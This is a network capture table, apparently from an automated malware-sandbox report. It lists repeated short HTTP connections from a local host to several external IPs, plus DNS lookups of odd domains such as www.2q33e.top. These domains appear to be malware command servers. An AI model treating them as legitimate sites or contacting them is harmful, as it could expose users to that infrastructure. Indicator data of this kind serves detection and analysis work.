Jan 14, 2025 10:25:28.132111073 CET	57512	80	192.168.2.4	162.0.215.244
Jan 14, 2025 10:25:28.132144928 CET	57512	80	192.168.2.4	162.0.215.244
Jan 14, 2025 10:25:28.132159948 CET	80	57512	162.0.215.244	192.168.2.4
Jan 14, 2025 10:25:28.132196903 CET	57512	80	192.168.2.4	162.0.215.244
Jan 14, 2025 10:25:28.135867119 CET	57512	80	192.168.2.4	162.0.215.244
Jan 14, 2025 10:25:28.142024994 CET	80	57512	162.0.215.244	192.168.2.4
Jan 14, 2025 10:25:33.289753914 CET	57544	80	192.168.2.4	3.33.130.190
Jan 14, 2025 10:25:33.294632912 CET	80	57544	3.33.130.190	192.168.2.4
Jan 14, 2025 10:25:33.294698954 CET	57544	80	192.168.2.4	3.33.130.190
Jan 14, 2025 10:25:33.304498911 CET	57544	80	192.168.2.4	3.33.130.190
Jan 14, 2025 10:25:33.309345961 CET	80	57544	3.33.130.190	192.168.2.4
Jan 14, 2025 10:25:33.751871109 CET	80	57544	3.33.130.190	192.168.2.4
Jan 14, 2025 10:25:33.752099991 CET	80	57544	3.33.130.190	192.168.2.4
Jan 14, 2025 10:25:33.752151966 CET	57544	80	192.168.2.4	3.33.130.190
Jan 14, 2025 10:25:34.809561968 CET	57544	80	192.168.2.4	3.33.130.190
Jan 14, 2025 10:25:35.827635050 CET	57557	80	192.168.2.4	3.33.130.190
Jan 14, 2025 10:25:35.832813978 CET	80	57557	3.33.130.190	192.168.2.4
Jan 14, 2025 10:25:35.834328890 CET	57557	80	192.168.2.4	3.33.130.190
Jan 14, 2025 10:25:35.843641043 CET	57557	80	192.168.2.4	3.33.130.190
Jan 14, 2025 10:25:35.848562956 CET	80	57557	3.33.130.190	192.168.2.4
Jan 14, 2025 10:25:36.292016029 CET	80	57557	3.33.130.190	192.168.2.4
Jan 14, 2025 10:25:36.292052984 CET	80	57557	3.33.130.190	192.168.2.4
Jan 14, 2025 10:25:36.292104959 CET	57557	80	192.168.2.4	3.33.130.190
Jan 14, 2025 10:25:37.356621027 CET	57557	80	192.168.2.4	3.33.130.190
Jan 14, 2025 10:25:38.376425982 CET	57570	80	192.168.2.4	3.33.130.190
Jan 14, 2025 10:25:38.381486893 CET	80	57570	3.33.130.190	192.168.2.4
Jan 14, 2025 10:25:38.381757021 CET	57570	80	192.168.2.4	3.33.130.190
Jan 14, 2025 10:25:38.397027016 CET	57570	80	192.168.2.4	3.33.130.190
Jan 14, 2025 10:25:38.402003050 CET	80	57570	3.33.130.190	192.168.2.4
Jan 14, 2025 10:25:38.402021885 CET	80	57570	3.33.130.190	192.168.2.4
Jan 14, 2025 10:25:38.402039051 CET	80	57570	3.33.130.190	192.168.2.4
Jan 14, 2025 10:25:38.402050972 CET	80	57570	3.33.130.190	192.168.2.4
Jan 14, 2025 10:25:38.402138948 CET	80	57570	3.33.130.190	192.168.2.4
Jan 14, 2025 10:25:38.402151108 CET	80	57570	3.33.130.190	192.168.2.4
Jan 14, 2025 10:25:38.402168036 CET	80	57570	3.33.130.190	192.168.2.4
Jan 14, 2025 10:25:38.402179003 CET	80	57570	3.33.130.190	192.168.2.4
Jan 14, 2025 10:25:38.402215958 CET	80	57570	3.33.130.190	192.168.2.4
Jan 14, 2025 10:25:38.842823982 CET	80	57570	3.33.130.190	192.168.2.4
Jan 14, 2025 10:25:38.842950106 CET	80	57570	3.33.130.190	192.168.2.4
Jan 14, 2025 10:25:38.843157053 CET	57570	80	192.168.2.4	3.33.130.190
Jan 14, 2025 10:25:39.911863089 CET	57570	80	192.168.2.4	3.33.130.190
Jan 14, 2025 10:25:40.923155069 CET	57583	80	192.168.2.4	3.33.130.190
Jan 14, 2025 10:25:40.928282022 CET	80	57583	3.33.130.190	192.168.2.4
Jan 14, 2025 10:25:40.928451061 CET	57583	80	192.168.2.4	3.33.130.190
Jan 14, 2025 10:25:40.938628912 CET	57583	80	192.168.2.4	3.33.130.190
Jan 14, 2025 10:25:40.943417072 CET	80	57583	3.33.130.190	192.168.2.4
Jan 14, 2025 10:25:41.405595064 CET	80	57583	3.33.130.190	192.168.2.4
Jan 14, 2025 10:25:41.405663013 CET	80	57583	3.33.130.190	192.168.2.4
Jan 14, 2025 10:25:41.405894041 CET	57583	80	192.168.2.4	3.33.130.190
Jan 14, 2025 10:25:41.409615993 CET	57583	80	192.168.2.4	3.33.130.190
Jan 14, 2025 10:25:41.414396048 CET	80	57583	3.33.130.190	192.168.2.4
Jan 14, 2025 10:25:54.863811970 CET	57600	80	192.168.2.4	38.47.233.52
Jan 14, 2025 10:25:54.868777990 CET	80	57600	38.47.233.52	192.168.2.4
Jan 14, 2025 10:25:54.868956089 CET	57600	80	192.168.2.4	38.47.233.52
Jan 14, 2025 10:25:54.877959967 CET	57600	80	192.168.2.4	38.47.233.52
Jan 14, 2025 10:25:54.882857084 CET	80	57600	38.47.233.52	192.168.2.4
Jan 14, 2025 10:25:55.782677889 CET	80	57600	38.47.233.52	192.168.2.4
Jan 14, 2025 10:25:55.782727003 CET	80	57600	38.47.233.52	192.168.2.4
Jan 14, 2025 10:25:55.782922029 CET	57600	80	192.168.2.4	38.47.233.52
Jan 14, 2025 10:25:56.387831926 CET	57600	80	192.168.2.4	38.47.233.52
Jan 14, 2025 10:25:57.407483101 CET	57601	80	192.168.2.4	38.47.233.52
Jan 14, 2025 10:25:57.412575006 CET	80	57601	38.47.233.52	192.168.2.4
Jan 14, 2025 10:25:57.412674904 CET	57601	80	192.168.2.4	38.47.233.52
Jan 14, 2025 10:25:57.420248985 CET	57601	80	192.168.2.4	38.47.233.52
Jan 14, 2025 10:25:57.425143957 CET	80	57601	38.47.233.52	192.168.2.4
Jan 14, 2025 10:25:58.318330050 CET	80	57601	38.47.233.52	192.168.2.4
Jan 14, 2025 10:25:58.318921089 CET	80	57601	38.47.233.52	192.168.2.4
Jan 14, 2025 10:25:58.319120884 CET	57601	80	192.168.2.4	38.47.233.52
Jan 14, 2025 10:25:58.934756994 CET	57601	80	192.168.2.4	38.47.233.52
Jan 14, 2025 10:25:59.953658104 CET	57602	80	192.168.2.4	38.47.233.52
Jan 14, 2025 10:25:59.959359884 CET	80	57602	38.47.233.52	192.168.2.4
Jan 14, 2025 10:25:59.959448099 CET	57602	80	192.168.2.4	38.47.233.52
Jan 14, 2025 10:25:59.969480991 CET	57602	80	192.168.2.4	38.47.233.52
Jan 14, 2025 10:25:59.974364042 CET	80	57602	38.47.233.52	192.168.2.4
Jan 14, 2025 10:25:59.974397898 CET	80	57602	38.47.233.52	192.168.2.4
Jan 14, 2025 10:25:59.974448919 CET	80	57602	38.47.233.52	192.168.2.4
Jan 14, 2025 10:25:59.974477053 CET	80	57602	38.47.233.52	192.168.2.4
Jan 14, 2025 10:25:59.974503994 CET	80	57602	38.47.233.52	192.168.2.4
Jan 14, 2025 10:25:59.974783897 CET	80	57602	38.47.233.52	192.168.2.4
Jan 14, 2025 10:25:59.974812031 CET	80	57602	38.47.233.52	192.168.2.4
Jan 14, 2025 10:25:59.974910021 CET	80	57602	38.47.233.52	192.168.2.4
Jan 14, 2025 10:25:59.974936962 CET	80	57602	38.47.233.52	192.168.2.4
Jan 14, 2025 10:26:00.889535904 CET	80	57602	38.47.233.52	192.168.2.4
Jan 14, 2025 10:26:00.895840883 CET	80	57602	38.47.233.52	192.168.2.4
Jan 14, 2025 10:26:00.896050930 CET	57602	80	192.168.2.4	38.47.233.52
Jan 14, 2025 10:26:01.481574059 CET	57602	80	192.168.2.4	38.47.233.52
Jan 14, 2025 10:26:02.501532078 CET	57603	80	192.168.2.4	38.47.233.52
Jan 14, 2025 10:26:02.506462097 CET	80	57603	38.47.233.52	192.168.2.4
Jan 14, 2025 10:26:02.506577969 CET	57603	80	192.168.2.4	38.47.233.52
Jan 14, 2025 10:26:02.518615007 CET	57603	80	192.168.2.4	38.47.233.52
Jan 14, 2025 10:26:02.523463964 CET	80	57603	38.47.233.52	192.168.2.4
Jan 14, 2025 10:26:03.413165092 CET	80	57603	38.47.233.52	192.168.2.4
Jan 14, 2025 10:26:03.413218021 CET	80	57603	38.47.233.52	192.168.2.4
Jan 14, 2025 10:26:03.413361073 CET	57603	80	192.168.2.4	38.47.233.52
Jan 14, 2025 10:26:03.417162895 CET	57603	80	192.168.2.4	38.47.233.52
Jan 14, 2025 10:26:03.422046900 CET	80	57603	38.47.233.52	192.168.2.4
Jan 14, 2025 10:26:08.437124014 CET	57604	80	192.168.2.4	104.21.3.193
Jan 14, 2025 10:26:08.441965103 CET	80	57604	104.21.3.193	192.168.2.4
Jan 14, 2025 10:26:08.444470882 CET	57604	80	192.168.2.4	104.21.3.193
Jan 14, 2025 10:26:08.452037096 CET	57604	80	192.168.2.4	104.21.3.193
Jan 14, 2025 10:26:08.457813025 CET	80	57604	104.21.3.193	192.168.2.4
Jan 14, 2025 10:26:08.909774065 CET	80	57604	104.21.3.193	192.168.2.4
Jan 14, 2025 10:26:08.910713911 CET	80	57604	104.21.3.193	192.168.2.4
Jan 14, 2025 10:26:08.910902977 CET	57604	80	192.168.2.4	104.21.3.193
Jan 14, 2025 10:26:09.965852976 CET	57604	80	192.168.2.4	104.21.3.193
Jan 14, 2025 10:26:10.988842964 CET	57605	80	192.168.2.4	104.21.3.193
Jan 14, 2025 10:26:10.994343042 CET	80	57605	104.21.3.193	192.168.2.4
Jan 14, 2025 10:26:10.994435072 CET	57605	80	192.168.2.4	104.21.3.193
Jan 14, 2025 10:26:11.011548042 CET	57605	80	192.168.2.4	104.21.3.193
Jan 14, 2025 10:26:11.016344070 CET	80	57605	104.21.3.193	192.168.2.4
Jan 14, 2025 10:26:12.081835032 CET	80	57605	104.21.3.193	192.168.2.4
Jan 14, 2025 10:26:12.081856966 CET	80	57605	104.21.3.193	192.168.2.4
Jan 14, 2025 10:26:12.081865072 CET	80	57605	104.21.3.193	192.168.2.4
Jan 14, 2025 10:26:12.082025051 CET	57605	80	192.168.2.4	104.21.3.193
Jan 14, 2025 10:26:12.082305908 CET	80	57605	104.21.3.193	192.168.2.4
Jan 14, 2025 10:26:12.082353115 CET	57605	80	192.168.2.4	104.21.3.193
Jan 14, 2025 10:26:12.512708902 CET	57605	80	192.168.2.4	104.21.3.193
Jan 14, 2025 10:26:13.530896902 CET	57606	80	192.168.2.4	104.21.3.193
Jan 14, 2025 10:26:13.535877943 CET	80	57606	104.21.3.193	192.168.2.4
Jan 14, 2025 10:26:13.535974979 CET	57606	80	192.168.2.4	104.21.3.193
Jan 14, 2025 10:26:13.545166969 CET	57606	80	192.168.2.4	104.21.3.193
Jan 14, 2025 10:26:13.550129890 CET	80	57606	104.21.3.193	192.168.2.4
Jan 14, 2025 10:26:13.550144911 CET	80	57606	104.21.3.193	192.168.2.4
Jan 14, 2025 10:26:13.550163031 CET	80	57606	104.21.3.193	192.168.2.4
Jan 14, 2025 10:26:13.550170898 CET	80	57606	104.21.3.193	192.168.2.4
Jan 14, 2025 10:26:13.550221920 CET	80	57606	104.21.3.193	192.168.2.4
Jan 14, 2025 10:26:13.550230026 CET	80	57606	104.21.3.193	192.168.2.4
Jan 14, 2025 10:26:13.550277948 CET	80	57606	104.21.3.193	192.168.2.4
Jan 14, 2025 10:26:13.550286055 CET	80	57606	104.21.3.193	192.168.2.4
Jan 14, 2025 10:26:13.550296068 CET	80	57606	104.21.3.193	192.168.2.4
Jan 14, 2025 10:26:14.005810022 CET	80	57606	104.21.3.193	192.168.2.4
Jan 14, 2025 10:26:14.006114006 CET	80	57606	104.21.3.193	192.168.2.4
Jan 14, 2025 10:26:14.006169081 CET	57606	80	192.168.2.4	104.21.3.193
Jan 14, 2025 10:26:15.059575081 CET	57606	80	192.168.2.4	104.21.3.193
Jan 14, 2025 10:26:16.077802896 CET	57607	80	192.168.2.4	104.21.3.193
Jan 14, 2025 10:26:16.082681894 CET	80	57607	104.21.3.193	192.168.2.4
Jan 14, 2025 10:26:16.082751989 CET	57607	80	192.168.2.4	104.21.3.193
Jan 14, 2025 10:26:16.088562012 CET	57607	80	192.168.2.4	104.21.3.193
Jan 14, 2025 10:26:16.093492985 CET	80	57607	104.21.3.193	192.168.2.4
Jan 14, 2025 10:26:16.567145109 CET	80	57607	104.21.3.193	192.168.2.4
Jan 14, 2025 10:26:16.567369938 CET	80	57607	104.21.3.193	192.168.2.4
Jan 14, 2025 10:26:16.567524910 CET	57607	80	192.168.2.4	104.21.3.193
Jan 14, 2025 10:26:16.569653034 CET	57607	80	192.168.2.4	104.21.3.193
Jan 14, 2025 10:26:16.574425936 CET	80	57607	104.21.3.193	192.168.2.4
Jan 14, 2025 10:26:21.595132113 CET	57608	80	192.168.2.4	3.33.130.190
Jan 14, 2025 10:26:21.600004911 CET	80	57608	3.33.130.190	192.168.2.4
Jan 14, 2025 10:26:21.600198984 CET	57608	80	192.168.2.4	3.33.130.190
Jan 14, 2025 10:26:21.613159895 CET	57608	80	192.168.2.4	3.33.130.190
Jan 14, 2025 10:26:21.618135929 CET	80	57608	3.33.130.190	192.168.2.4
Jan 14, 2025 10:26:22.054047108 CET	80	57608	3.33.130.190	192.168.2.4
Jan 14, 2025 10:26:22.054292917 CET	80	57608	3.33.130.190	192.168.2.4
Jan 14, 2025 10:26:22.054348946 CET	57608	80	192.168.2.4	3.33.130.190
Jan 14, 2025 10:26:23.122286081 CET	57608	80	192.168.2.4	3.33.130.190
Jan 14, 2025 10:26:24.140250921 CET	57609	80	192.168.2.4	3.33.130.190
Jan 14, 2025 10:26:24.145097971 CET	80	57609	3.33.130.190	192.168.2.4
Jan 14, 2025 10:26:24.145185947 CET	57609	80	192.168.2.4	3.33.130.190
Jan 14, 2025 10:26:24.153810978 CET	57609	80	192.168.2.4	3.33.130.190
Jan 14, 2025 10:26:24.158659935 CET	80	57609	3.33.130.190	192.168.2.4
Jan 14, 2025 10:26:24.615047932 CET	80	57609	3.33.130.190	192.168.2.4
Jan 14, 2025 10:26:24.615080118 CET	80	57609	3.33.130.190	192.168.2.4
Jan 14, 2025 10:26:24.615122080 CET	57609	80	192.168.2.4	3.33.130.190
Jan 14, 2025 10:26:25.668987989 CET	57609	80	192.168.2.4	3.33.130.190
Jan 14, 2025 10:26:26.686764956 CET	57610	80	192.168.2.4	3.33.130.190
Jan 14, 2025 10:26:26.691823006 CET	80	57610	3.33.130.190	192.168.2.4
Jan 14, 2025 10:26:26.691905975 CET	57610	80	192.168.2.4	3.33.130.190
Jan 14, 2025 10:26:26.700403929 CET	57610	80	192.168.2.4	3.33.130.190
Jan 14, 2025 10:26:26.705265999 CET	80	57610	3.33.130.190	192.168.2.4
Jan 14, 2025 10:26:26.705276966 CET	80	57610	3.33.130.190	192.168.2.4
Jan 14, 2025 10:26:26.705343008 CET	80	57610	3.33.130.190	192.168.2.4
Jan 14, 2025 10:26:26.705349922 CET	80	57610	3.33.130.190	192.168.2.4
Jan 14, 2025 10:26:26.705355883 CET	80	57610	3.33.130.190	192.168.2.4
Jan 14, 2025 10:26:26.705548048 CET	80	57610	3.33.130.190	192.168.2.4
Jan 14, 2025 10:26:26.705562115 CET	80	57610	3.33.130.190	192.168.2.4
Jan 14, 2025 10:26:26.705574036 CET	80	57610	3.33.130.190	192.168.2.4
Jan 14, 2025 10:26:26.705581903 CET	80	57610	3.33.130.190	192.168.2.4
Jan 14, 2025 10:26:27.158287048 CET	80	57610	3.33.130.190	192.168.2.4
Jan 14, 2025 10:26:27.168298960 CET	80	57610	3.33.130.190	192.168.2.4
Jan 14, 2025 10:26:27.168370008 CET	57610	80	192.168.2.4	3.33.130.190
Jan 14, 2025 10:26:28.215856075 CET	57610	80	192.168.2.4	3.33.130.190
Jan 14, 2025 10:26:29.234262943 CET	57611	80	192.168.2.4	3.33.130.190
Jan 14, 2025 10:26:29.239108086 CET	80	57611	3.33.130.190	192.168.2.4
Jan 14, 2025 10:26:29.239207029 CET	57611	80	192.168.2.4	3.33.130.190
Jan 14, 2025 10:26:29.244163990 CET	57611	80	192.168.2.4	3.33.130.190
Jan 14, 2025 10:26:29.249169111 CET	80	57611	3.33.130.190	192.168.2.4
Jan 14, 2025 10:26:29.699184895 CET	80	57611	3.33.130.190	192.168.2.4
Jan 14, 2025 10:26:29.699289083 CET	80	57611	3.33.130.190	192.168.2.4
Jan 14, 2025 10:26:29.699619055 CET	57611	80	192.168.2.4	3.33.130.190
Jan 14, 2025 10:26:29.701724052 CET	57611	80	192.168.2.4	3.33.130.190
Jan 14, 2025 10:26:29.706533909 CET	80	57611	3.33.130.190	192.168.2.4
Jan 14, 2025 10:26:34.737377882 CET	57612	80	192.168.2.4	20.244.96.65
Jan 14, 2025 10:26:34.742202044 CET	80	57612	20.244.96.65	192.168.2.4
Jan 14, 2025 10:26:34.742294073 CET	57612	80	192.168.2.4	20.244.96.65
Jan 14, 2025 10:26:34.751840115 CET	57612	80	192.168.2.4	20.244.96.65
Jan 14, 2025 10:26:34.756666899 CET	80	57612	20.244.96.65	192.168.2.4
Jan 14, 2025 10:26:36.262701988 CET	57612	80	192.168.2.4	20.244.96.65
Jan 14, 2025 10:26:36.268011093 CET	80	57612	20.244.96.65	192.168.2.4
Jan 14, 2025 10:26:36.268053055 CET	57612	80	192.168.2.4	20.244.96.65
Jan 14, 2025 10:26:37.282439947 CET	57613	80	192.168.2.4	20.244.96.65
Jan 14, 2025 10:26:37.287290096 CET	80	57613	20.244.96.65	192.168.2.4
Jan 14, 2025 10:26:37.287381887 CET	57613	80	192.168.2.4	20.244.96.65
Jan 14, 2025 10:26:37.296001911 CET	57613	80	192.168.2.4	20.244.96.65
Jan 14, 2025 10:26:37.300745010 CET	80	57613	20.244.96.65	192.168.2.4
Jan 14, 2025 10:26:38.809818029 CET	57613	80	192.168.2.4	20.244.96.65
Jan 14, 2025 10:26:38.849205971 CET	80	57613	20.244.96.65	192.168.2.4
Jan 14, 2025 10:26:38.849333048 CET	57613	80	192.168.2.4	20.244.96.65
Jan 14, 2025 10:26:39.827924967 CET	57614	80	192.168.2.4	20.244.96.65
Jan 14, 2025 10:26:39.832659006 CET	80	57614	20.244.96.65	192.168.2.4
Jan 14, 2025 10:26:39.832778931 CET	57614	80	192.168.2.4	20.244.96.65
Jan 14, 2025 10:26:39.842066050 CET	57614	80	192.168.2.4	20.244.96.65
Jan 14, 2025 10:26:39.846954107 CET	80	57614	20.244.96.65	192.168.2.4
Jan 14, 2025 10:26:39.846962929 CET	80	57614	20.244.96.65	192.168.2.4
Jan 14, 2025 10:26:39.846976995 CET	80	57614	20.244.96.65	192.168.2.4
Jan 14, 2025 10:26:39.846982956 CET	80	57614	20.244.96.65	192.168.2.4
Jan 14, 2025 10:26:39.847028971 CET	80	57614	20.244.96.65	192.168.2.4
Jan 14, 2025 10:26:39.847035885 CET	80	57614	20.244.96.65	192.168.2.4
Jan 14, 2025 10:26:39.847084999 CET	80	57614	20.244.96.65	192.168.2.4
Jan 14, 2025 10:26:39.847093105 CET	80	57614	20.244.96.65	192.168.2.4
Jan 14, 2025 10:26:39.847100973 CET	80	57614	20.244.96.65	192.168.2.4
Jan 14, 2025 10:26:41.356458902 CET	57614	80	192.168.2.4	20.244.96.65
Jan 14, 2025 10:26:41.361417055 CET	80	57614	20.244.96.65	192.168.2.4
Jan 14, 2025 10:26:41.361568928 CET	57614	80	192.168.2.4	20.244.96.65
Jan 14, 2025 10:26:42.378566027 CET	57615	80	192.168.2.4	20.244.96.65
Jan 14, 2025 10:26:42.383421898 CET	80	57615	20.244.96.65	192.168.2.4
Jan 14, 2025 10:26:42.383521080 CET	57615	80	192.168.2.4	20.244.96.65
Jan 14, 2025 10:26:42.389491081 CET	57615	80	192.168.2.4	20.244.96.65
Jan 14, 2025 10:26:42.394309044 CET	80	57615	20.244.96.65	192.168.2.4
Jan 14, 2025 10:26:43.766833067 CET	80	57615	20.244.96.65	192.168.2.4
Jan 14, 2025 10:26:43.766889095 CET	80	57615	20.244.96.65	192.168.2.4
Jan 14, 2025 10:26:43.767121077 CET	57615	80	192.168.2.4	20.244.96.65
Jan 14, 2025 10:26:43.770354033 CET	57615	80	192.168.2.4	20.244.96.65
Jan 14, 2025 10:26:43.775156975 CET	80	57615	20.244.96.65	192.168.2.4
Jan 14, 2025 10:26:56.894527912 CET	57616	80	192.168.2.4	84.32.84.32
Jan 14, 2025 10:26:56.899347067 CET	80	57616	84.32.84.32	192.168.2.4
Jan 14, 2025 10:26:56.899427891 CET	57616	80	192.168.2.4	84.32.84.32
Jan 14, 2025 10:26:56.913213968 CET	57616	80	192.168.2.4	84.32.84.32
Jan 14, 2025 10:26:56.918085098 CET	80	57616	84.32.84.32	192.168.2.4
Jan 14, 2025 10:26:57.374979973 CET	80	57616	84.32.84.32	192.168.2.4
Jan 14, 2025 10:26:57.375174999 CET	57616	80	192.168.2.4	84.32.84.32
Jan 14, 2025 10:26:58.419455051 CET	57616	80	192.168.2.4	84.32.84.32
Jan 14, 2025 10:26:58.424318075 CET	80	57616	84.32.84.32	192.168.2.4
Jan 14, 2025 10:26:59.437233925 CET	57617	80	192.168.2.4	84.32.84.32
Jan 14, 2025 10:26:59.442217112 CET	80	57617	84.32.84.32	192.168.2.4
Jan 14, 2025 10:26:59.442312002 CET	57617	80	192.168.2.4	84.32.84.32
Jan 14, 2025 10:26:59.450258017 CET	57617	80	192.168.2.4	84.32.84.32
Jan 14, 2025 10:26:59.455178976 CET	80	57617	84.32.84.32	192.168.2.4
Jan 14, 2025 10:26:59.898471117 CET	80	57617	84.32.84.32	192.168.2.4
Jan 14, 2025 10:26:59.898580074 CET	57617	80	192.168.2.4	84.32.84.32
Jan 14, 2025 10:27:00.965869904 CET	57617	80	192.168.2.4	84.32.84.32
Jan 14, 2025 10:27:00.970927000 CET	80	57617	84.32.84.32	192.168.2.4
Jan 14, 2025 10:27:01.985335112 CET	57618	80	192.168.2.4	84.32.84.32
Jan 14, 2025 10:27:01.990408897 CET	80	57618	84.32.84.32	192.168.2.4
Jan 14, 2025 10:27:01.990500927 CET	57618	80	192.168.2.4	84.32.84.32
Jan 14, 2025 10:27:02.001713037 CET	57618	80	192.168.2.4	84.32.84.32
Jan 14, 2025 10:27:02.006669998 CET	80	57618	84.32.84.32	192.168.2.4
Jan 14, 2025 10:27:02.006700993 CET	80	57618	84.32.84.32	192.168.2.4
Jan 14, 2025 10:27:02.006727934 CET	80	57618	84.32.84.32	192.168.2.4
Jan 14, 2025 10:27:02.006774902 CET	80	57618	84.32.84.32	192.168.2.4
Jan 14, 2025 10:27:02.006800890 CET	80	57618	84.32.84.32	192.168.2.4
Jan 14, 2025 10:27:02.006846905 CET	80	57618	84.32.84.32	192.168.2.4
Jan 14, 2025 10:27:02.006871939 CET	80	57618	84.32.84.32	192.168.2.4
Jan 14, 2025 10:27:02.006917953 CET	80	57618	84.32.84.32	192.168.2.4
Jan 14, 2025 10:27:02.006944895 CET	80	57618	84.32.84.32	192.168.2.4
Jan 14, 2025 10:27:02.467681885 CET	80	57618	84.32.84.32	192.168.2.4
Jan 14, 2025 10:27:02.468302011 CET	57618	80	192.168.2.4	84.32.84.32
Jan 14, 2025 10:27:03.644073009 CET	57618	80	192.168.2.4	84.32.84.32
Jan 14, 2025 10:27:03.649266005 CET	80	57618	84.32.84.32	192.168.2.4
Jan 14, 2025 10:27:04.656075001 CET	57619	80	192.168.2.4	84.32.84.32
Jan 14, 2025 10:27:04.661215067 CET	80	57619	84.32.84.32	192.168.2.4
Jan 14, 2025 10:27:04.666564941 CET	57619	80	192.168.2.4	84.32.84.32
Jan 14, 2025 10:27:04.672426939 CET	57619	80	192.168.2.4	84.32.84.32
Jan 14, 2025 10:27:04.677303076 CET	80	57619	84.32.84.32	192.168.2.4
Jan 14, 2025 10:27:05.120187044 CET	80	57619	84.32.84.32	192.168.2.4
Jan 14, 2025 10:27:05.120206118 CET	80	57619	84.32.84.32	192.168.2.4
Jan 14, 2025 10:27:05.120229006 CET	80	57619	84.32.84.32	192.168.2.4
Jan 14, 2025 10:27:05.120243073 CET	80	57619	84.32.84.32	192.168.2.4
Jan 14, 2025 10:27:05.120258093 CET	80	57619	84.32.84.32	192.168.2.4
Jan 14, 2025 10:27:05.120274067 CET	80	57619	84.32.84.32	192.168.2.4
Jan 14, 2025 10:27:05.120301008 CET	80	57619	84.32.84.32	192.168.2.4
Jan 14, 2025 10:27:05.120316029 CET	80	57619	84.32.84.32	192.168.2.4
Jan 14, 2025 10:27:05.120371103 CET	57619	80	192.168.2.4	84.32.84.32
Jan 14, 2025 10:27:05.120407104 CET	80	57619	84.32.84.32	192.168.2.4
Jan 14, 2025 10:27:05.120420933 CET	80	57619	84.32.84.32	192.168.2.4
Jan 14, 2025 10:27:05.120439053 CET	57619	80	192.168.2.4	84.32.84.32
Jan 14, 2025 10:27:05.120469093 CET	57619	80	192.168.2.4	84.32.84.32
Jan 14, 2025 10:27:05.120609999 CET	80	57619	84.32.84.32	192.168.2.4
Jan 14, 2025 10:27:05.120660067 CET	57619	80	192.168.2.4	84.32.84.32
Jan 14, 2025 10:27:05.125092983 CET	57619	80	192.168.2.4	84.32.84.32
Jan 14, 2025 10:27:05.129930019 CET	80	57619	84.32.84.32	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2025 10:24:20.972897053 CET	53	51945	1.1.1.1	192.168.2.4
Jan 14, 2025 10:24:28.115820885 CET	65165	53	192.168.2.4	1.1.1.1
Jan 14, 2025 10:24:28.133649111 CET	53	65165	1.1.1.1	192.168.2.4
Jan 14, 2025 10:24:34.520263910 CET	53	52900	162.159.36.2	192.168.2.4
Jan 14, 2025 10:24:35.030949116 CET	59665	53	192.168.2.4	1.1.1.1
Jan 14, 2025 10:24:35.039347887 CET	53	59665	1.1.1.1	192.168.2.4
Jan 14, 2025 10:24:43.690145969 CET	52374	53	192.168.2.4	1.1.1.1
Jan 14, 2025 10:24:44.307868004 CET	53	52374	1.1.1.1	192.168.2.4
Jan 14, 2025 10:24:52.359692097 CET	63308	53	192.168.2.4	1.1.1.1
Jan 14, 2025 10:24:52.906167030 CET	53	63308	1.1.1.1	192.168.2.4
Jan 14, 2025 10:25:06.454384089 CET	61433	53	192.168.2.4	1.1.1.1
Jan 14, 2025 10:25:06.466124058 CET	53	61433	1.1.1.1	192.168.2.4
Jan 14, 2025 10:25:19.767543077 CET	65330	53	192.168.2.4	1.1.1.1
Jan 14, 2025 10:25:19.781243086 CET	53	65330	1.1.1.1	192.168.2.4
Jan 14, 2025 10:25:33.140636921 CET	54864	53	192.168.2.4	1.1.1.1
Jan 14, 2025 10:25:33.287178040 CET	53	54864	1.1.1.1	192.168.2.4
Jan 14, 2025 10:25:46.421931982 CET	51742	53	192.168.2.4	1.1.1.1
Jan 14, 2025 10:25:46.432100058 CET	53	51742	1.1.1.1	192.168.2.4
Jan 14, 2025 10:25:54.486118078 CET	54128	53	192.168.2.4	1.1.1.1
Jan 14, 2025 10:25:54.857702971 CET	53	54128	1.1.1.1	192.168.2.4
Jan 14, 2025 10:26:08.421919107 CET	64470	53	192.168.2.4	1.1.1.1
Jan 14, 2025 10:26:08.435400963 CET	53	64470	1.1.1.1	192.168.2.4
Jan 14, 2025 10:26:21.579468966 CET	57698	53	192.168.2.4	1.1.1.1
Jan 14, 2025 10:26:21.591988087 CET	53	57698	1.1.1.1	192.168.2.4
Jan 14, 2025 10:26:34.720577002 CET	54664	53	192.168.2.4	1.1.1.1
Jan 14, 2025 10:26:34.735532999 CET	53	54664	1.1.1.1	192.168.2.4
Jan 14, 2025 10:26:48.781383991 CET	61722	53	192.168.2.4	1.1.1.1
Jan 14, 2025 10:26:48.789961100 CET	53	61722	1.1.1.1	192.168.2.4
Jan 14, 2025 10:26:56.844208956 CET	58859	53	192.168.2.4	1.1.1.1
Jan 14, 2025 10:26:56.891012907 CET	53	58859	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 14, 2025 10:24:28.115820885 CET	192.168.2.4	1.1.1.1	0x9514	Standard query (0)	www.thesquare.world	A (IP address)	IN (0x0001)	false
Jan 14, 2025 10:24:35.030949116 CET	192.168.2.4	1.1.1.1	0xd10e	Standard query (0)	15.164.165.52.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Jan 14, 2025 10:24:43.690145969 CET	192.168.2.4	1.1.1.1	0xfb0a	Standard query (0)	www.revolutionmusic.net	A (IP address)	IN (0x0001)	false
Jan 14, 2025 10:24:52.359692097 CET	192.168.2.4	1.1.1.1	0x9a30	Standard query (0)	www.wddb97.top	A (IP address)	IN (0x0001)	false
Jan 14, 2025 10:25:06.454384089 CET	192.168.2.4	1.1.1.1	0x696c	Standard query (0)	www.nexula.website	A (IP address)	IN (0x0001)	false
Jan 14, 2025 10:25:19.767543077 CET	192.168.2.4	1.1.1.1	0xb682	Standard query (0)	www.prediksipreman.fyi	A (IP address)	IN (0x0001)	false
Jan 14, 2025 10:25:33.140636921 CET	192.168.2.4	1.1.1.1	0x4b17	Standard query (0)	www.scottconsults.top	A (IP address)	IN (0x0001)	false
Jan 14, 2025 10:25:46.421931982 CET	192.168.2.4	1.1.1.1	0xc871	Standard query (0)	www.xtelify.tech	A (IP address)	IN (0x0001)	false
Jan 14, 2025 10:25:54.486118078 CET	192.168.2.4	1.1.1.1	0x657	Standard query (0)	www.2q33e.top	A (IP address)	IN (0x0001)	false
Jan 14, 2025 10:26:08.421919107 CET	192.168.2.4	1.1.1.1	0xa97	Standard query (0)	www.7wkto5nk230724z.click	A (IP address)	IN (0x0001)	false
Jan 14, 2025 10:26:21.579468966 CET	192.168.2.4	1.1.1.1	0x3549	Standard query (0)	www.livingslab.net	A (IP address)	IN (0x0001)	false
